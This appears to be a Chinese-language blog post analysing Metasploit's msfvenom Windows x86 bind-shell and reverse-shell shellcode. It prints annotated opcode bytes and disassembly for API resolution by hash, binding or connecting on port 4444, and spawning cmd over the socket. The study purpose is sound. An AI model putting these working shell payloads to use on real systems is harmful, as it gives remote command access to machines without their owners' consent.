0%

bind_reverse_tcp

msfvenom 生成的 shellcode 1

最终修改: 2021.02.18
目标来源: 参考资料 1 ,参考资料 2
分析环境: windows 7
文档说明: 简要分析 msf 中 windows x86 shellcode 中的 shell_bind_tcp 和 shell_reverse_tcp

0x00 概要

“参考资料 6” 中已经有前辈分析过 “通过Hash查找API函数地址” 了,也就是 “参考资料 3” 中的汇编部分,想了一下,还是把我分析的这些也发出来吧。

0x01正文

shell_bind_tcp (参考资料 1)

  1. 初始化

    1
    2
    FC                      cld                     ; 清空标志位
    E8 82 00 00 00 call start_main
  2. block_api.asm 通过Hash查找API函数地址 (参考资料 3)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    ; fund_fun        proc near
    60 pusha
    89 E5 mov ebp, esp
    31 C0 xor eax, eax ; eax 清零
    64 8B 50 30 mov edx, fs:[eax+30h] ; 从 TEB 中得到 PEB 结构地址,存入 edx
    8B 52 0C mov edx, [edx+0Ch] ; 获取 PEB_LDR_Data 结构,存入 edx
    8B 52 14 mov edx, [edx+14h] ; PLD 中 14h 位置的 LIST_ENTRY InMemoryOrderList 存入 edx

    fund_module_loop:
    8B 72 28 mov esi, [edx+28h] ; 获得指向模块名称 BaseDllName 的地址
    0F B7 4A 26 movzx ecx, word ptr [edx+26h] ; 字符串缓冲区的总大小
    31 FF xor edi, edi ; edi = 0

    loop_modname:
    AC lodsb ; 逐字节读取模块名
    3C 61 cmp al, 'a'
    7C 02 jl short not_lowercase ; 和字母 'a' 比较,这里是为了统一换成大写
    2C 20 sub al, 20h ; 大写则跳转, 小写则变大写

    not_lowercase:
    C1 CF 0D ror edi, 0Dh ; 将 hash 值循环右移 13 位
    01 C7 add edi, eax ; hash 值与 下一个字符 相加, 得到新的 hash
    E2 F2 loop loop_modname ; 循环整个函数名
    52 push edx ; 保存 edx (InMemoryOrderList)
    57 push edi ; 保存 edi (module hash)
    8B 52 10 mov edx, [edx+10h] ; 模块基地址
    8B 4A 3C mov ecx, [edx+3Ch] ; 跳过 DOS 头
    8B 4C 11 78 mov ecx, [ecx+edx+78h] ; 找到导出表, 并将其相对地址放入EDX
    E3 48 jecxz short get_next_mod_again ; ecx=0, 没有导出模块则跳转
    01 D1 add ecx, edx ; 得到当前模块导出表的 VA
    51 push ecx ; 保存当前模块导出表的 VA
    8B 59 20 mov ebx, [ecx+20h] ; 获取函数名地址数组的 RVA
    01 D3 add ebx, edx ; 获取 VA
    8B 49 18 mov ecx, [ecx+18h] ; 获取函数个数

    get_next_func:
    E3 3A jecxz short get_next_mod ; 没找到函数, 跳转到下一个模块
    49 dec ecx ; ecx - 1
    8B 34 8B mov esi, [ebx+ecx*4] ; 获取函数名字符串
    01 D6 add esi, edx ; 获取函数名的 VA
    31 FF xor edi, edi ; edi = 0

    loop_funname:
    AC lodsb ; 逐字节读取函数名
    C1 CF 0D ror edi, 0Dh ; 将 hash 值循环右移 13 位
    01 C7 add edi, eax ; hash 值与 下一个字符 相加, 得到新的 hash
    38 E0 cmp al, ah ; 检查是否为所要找的函数名
    75 F6 jnz short loop_funname ; 没找到继续找
    03 7D F8 add edi, [ebp-8] ; [ebp-8] 为之前计算过的模块 hash , 与这里的函数 hash 相加, 得到总的 hash
    3B 7D 24 cmp edi, [ebp+24h] ; 与目标函数的 hash 对比
    75 E4 jnz short get_next_func ; 不相等, 继续寻找下一个函数
    58 pop eax ; 还原当前模块的 EAT 的 VA
    8B 58 24 mov ebx, [eax+24h] ; 获取 AddressOfNameOrdinals 的 RVA
    01 D3 add ebx, edx ; 的到 VA
    66 8B 0C 4B mov cx, [ebx+ecx*2] ; 从 AddressOfNameOrdinals 中得到目标函数的 index
    8B 58 1C mov ebx, [eax+1Ch] ; 获得函数地址表 AddressFunctions 的 RVA
    01 D3 add ebx, edx ; 得到 VA
    8B 04 8B mov eax, [ebx+ecx*4] ; 得到目标函数的 RVA
    01 D0 add eax, edx ; 得到函数的 VA
    89 44 24 24 mov [esp+24h], eax ; 将地址保存到 [esp+24h]
    5B pop ebx ; 弹出 module hash
    5B pop ebx ; 弹出 InMemoryOrderList
    61 popa ; 弹出 pusha 保存的寄存器
    ; fund_fun endp

    59 pop ecx ; 弹出返回地址
    5A pop edx ; 弹出目标函数的hash
    51 push ecx ; 存入返回地址
    FF E0 jmp eax ; 跳转到目标函数执行

    get_next_mod:
    5F pop edi ; 弹出当前模块导出表 VA 到 edi

    get_next_mod_again:
    5F pop edi ; 弹出之前保存的 hash
    5A pop edx ; 弹出 InMemoryOrderList 到 edx
    8B 12 mov edx, [edx] ; 将 edx 指向下一个模块
    EB 8D jmp short fund_module_loop ; 跳转到下一个模块
  3. block_bind_tcp.asm (参考资料 4)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    start_main:
    5D pop ebp
    68 33 32 00 00 push '23' ; 将字节 'ws2_32',0,0 入栈
    68 77 73 32 5F push '_2sw' ; ...
    54 push esp ; esp 入栈
    68 4C 77 26 07 push 726774Ch ; LoadLibraryA 的 hash 入栈
    FF D5 call ebp ; <kernel32.LoadLibraryA>
    ; LoadLibraryA( "ws2_32" )
    B8 90 01 00 00 mov eax, 190h ; EAX = sizeof( struct WSAData )
    29 C4 sub esp, eax ; 为 struct WSAData 开辟空间
    54 push esp ; 压入 esp
    50 push eax ; 压入 wVersionRequested 参数
    68 29 80 6B 00 push 6B8029h ; WSAStartup 的 hash 入栈
    FF D5 call ebp ; <ws2_32.WSAStartup>
    ; WSAStartup( 0x0190, &WSAData );
    ; diffstart
    6A 08 push 8 ;
    59 pop ecx ;

    eight_zero:
    50 push eax ; 压入 8 个 0 备用
    E2 FD loop eight_zero ; push zero for the flags param [8]
    ; push null for reserved parameter [7]
    ; we do not specify a WSAPROTOCOL_INFO structure [6]
    ; we do not specify a protocol [5]
    40 inc eax ;
    50 push eax ; 压入 1 (SOCK_STREAM)
    40 inc eax ;
    50 push eax ; 压入 2 (AF_INET)
    68 EA 0F DF E0 push 0E0DF0FEAh ; WSASocketA 的 hash 入栈
    FF D5 call ebp ; <ws2_32.WSASocketA>
    ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
    97 xchg eax, edi ; 保存套接字以备后用,此后不必关心eax的值

    ; bind to 0.0.0.0,之前压栈的 0
    68 02 00 11 5C push 5C110002h ; AF_INET 和 port 4444
    89 E6 mov esi, esp ; 保存一个指向 sockaddr_in 结构的指针
    6A 10 push 10h ; sockaddr_in 结构体长度 (我们只设置了前 8 位,后面 8 位没啥用)
    56 push esi ; 指向 sockaddr_in 结构的指针入栈
    57 push edi ; socket
    68 C2 DB 37 67 push 6737DBC2h ; bind 的 hash 入栈
    FF D5 call ebp ; <ws2_32.bind>
    ; bind( s, &sockaddr_in, 16 );

    ; 其余参数之前就已经入栈了
    57 push edi ; socket
    68 B7 E9 38 FF push 0FF38E9B7h ; listen 的 hash 入栈
    FF D5 call ebp ; <ws2_32.listen>
    ; listen( s, 0 );

    ; 我们将 sockaddr 结构的长度设置为零
    ; 我们不设置可选的 sockaddr 参数
    57 push edi ; listening socket
    68 74 EC 3B E1 push 0E13BEC74h ; accept 的 hash 入栈
    FF D5 call ebp ; <ws2_32.accept>
    ; accept( s, 0, 0 );
    57 push edi ; 压入 edi
    97 xchg eax, edi ; 把 listing socket 换成新的连接
    68 75 6E 4D 61 push 614D6E75h ; closesocket 的 hash 入栈
    FF D5 call ebp ; <ws2_32.closesocket>
    ; closesocket( s );
    ; diffend
  4. block_shell.asm (参考资料 7) 不想翻译了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    68 63 6D 64 00          push    'dmc'           ; push our command line: 'cmd',0
    89 E3 mov ebx, esp ; save a pointer to the command line
    57 push edi ; our socket becomes the shells hStdError
    57 push edi ; our socket becomes the shells hStdOutput
    57 push edi ; our socket becomes the shells hStdInput
    31 F6 xor esi, esi ; Clear ESI for all the NULL's we need to push
    6A 12 push 12h ; We want to place (18 * 4) = 72 null bytes onto the stack
    59 pop ecx ; Set ECX for the loop

    twelve_zero:
    56 push esi ; push a null dword
    E2 FD loop twelve_zero ; keep looping untill we have pushed enough nulls
    66 C7 44 24 3C 01 01 mov word ptr [esp+3Ch], 101h ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
    8D 44 24 10 lea eax, [esp+10h] ; Set EAX as a pointer to our STARTUPINFO Structure
    C6 00 44 mov byte ptr [eax], 44h ; Set the size of the STARTUPINFO Structure
    54 push esp ; Push the pointer to the PROCESS_INFORMATION Structure
    50 push eax ; Push the pointer to the STARTUPINFO Structure
    56 push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
    56 push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
    56 push esi ; We dont specify any dwCreationFlags
    46 inc esi ; Increment ESI to be one
    56 push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
    4E dec esi ; Decrement ESI back down to zero
    56 push esi ; Set lpThreadAttributes to NULL
    56 push esi ; Set lpProcessAttributes to NULL
    53 push ebx ; Set the lpCommandLine to point to "cmd",0
    56 push esi ; Set lpApplicationName to NULL as we are using the command line param instead
    68 79 CC 3F 86 push 863FCC79h ; hash( "kernel32.dll", "CreateProcessA" )
    FF D5 call ebp ; <kernel32.CreateProcessA>
    ; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );
    ; perform the call to WaitForSingleObject
    89 E0 mov eax, esp ; save pointer to the PROCESS_INFORMATION Structure
    4E dec esi ; Decrement ESI down to -1 (INFINITE)
    56 push esi ; push INFINITE inorder to wait forever
    46 inc esi ; Increment ESI back to zero
    FF 30 push dword ptr [eax] ; push the handle from our PROCESS_INFORMATION.hProcess
    68 08 87 1D 60 push 601D8708h ; hash( "kernel32.dll", "WaitForSingleObject" )
    FF D5 call ebp ; <kernel32.WaitForSingleObject>
    ; WaitForSingleObject( pi.hProcess, INFINITE );
  5. block_exitfunk.asm (参考资料 8) 不想翻译了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    exitfunk:
    BB E0 1D 2A 0A mov ebx, 0A2A1DE0h ; The EXITFUNK as specified by user...
    68 A6 95 BD 9D push 9DBD95A6h ; hash( "kernel32.dll", "GetVersion" )
    FF D5 call ebp ; <kernel32.GetVersion>
    ; GetVersion(); (AL will = major version and AH will = minor version)
    3C 06 cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
    7C 0A jl short goodbye ; Then just call the exit function...
    80 FB E0 cmp bl, 0E0h ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    75 05 jnz short goodbye ;
    BB 47 13 72 6F mov ebx, 6F721347h ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread

    goodbye: ; We now perform the actual call to the exit function
    6A 00 push 0 ; push the exit function parameter
    53 push ebx ; push the hash of the exit function
    FF D5 call ebp ; <ntdll.RtlExitUserThread>
    ; call EXITFUNK( 0 );

shell_reverse_tcp (参考资料 2)

  1. 从 shell_bind_tcp 和 shell_reverse_tcp 的对比图可以看出,只有在 6B 00 FF D5FF D5 68 63 之间这段是有不同的

    theBindAndReverse

  1. 截取出 shell_reverse_tcp 中的反汇编 block_reverse_tcp.asm (参考资料 5) 不想翻译了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    FF D5                   call    ebp             ; <ws2_32.WSAStartup> 

    ; diffstart
    50 push eax ; if we succeed, eax wil be zero, push zero for the flags param.
    50 push eax ; push null for reserved parameter
    50 push eax ; we do not specify a WSAPROTOCOL_INFO structure
    50 push eax ; we do not specify a protocol

    40 inc eax ;
    50 push eax ; push SOCK_STREAM
    40 inc eax ;
    50 push eax ; push AF_INET
    68 EA 0F DF E0 push 0E0DF0FEAh ; hash( "ws2_32.dll", "WSASocketA" )
    FF D5 call ebp ; <ws2_32.WSASocketA> WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
    97 xchg eax, edi ; save the socket for later, don't care about the value of eax after this

    ; set_address:
    6A 05 push 5 ; retry counter
    68 7F 00 00 01 push 100007Fh ; host 127.0.0.1
    68 02 00 11 5C push 5C110002h ; family AF_INET and port 4444
    89 E6 mov esi, esp ; save pointer to sockaddr struct

    try_connect:
    6A 10 push 10h ; length of the sockaddr struct
    56 push esi ; pointer to the sockaddr struct
    57 push edi ; the socket
    68 99 A5 74 61 push 6174A599h ; hash( "ws2_32.dll", "connect" )
    FF D5 call ebp ; <ws2_32.connect> connect( s, &sockaddr, 16 );
    85 C0 test eax, eax ; non-zero means a failure
    74 0C jz short diffend ;

    ; handle_failure:
    FF 4E 08 dec dword ptr [esi+8] ;
    75 EC jnz short try_connect ;

    ; failure:
    68 F0 B5 A2 56 push 56A2B5F0h ; hardcoded to exitprocess for size
    FF D5 call ebp ; <kernel32.ExitProcess>

    diffend:

0x03 总结

越看越觉得自己没干啥,都是别人弄过的东西,又搬运了一遍而已,有时间把剩下的那些 shellcode 也看了,还有 x64 和 android 。

参考资料
  1. shell_bind_tcp.rb
  2. shell_reverse_tcp.rb
  3. block_api.asm
  4. block_bind_tcp.asm
  5. block_reverse_tcp.asm
  6. 通过Hash查找API函数地址
  7. block_shell.asm
  8. block_exitfunk.asm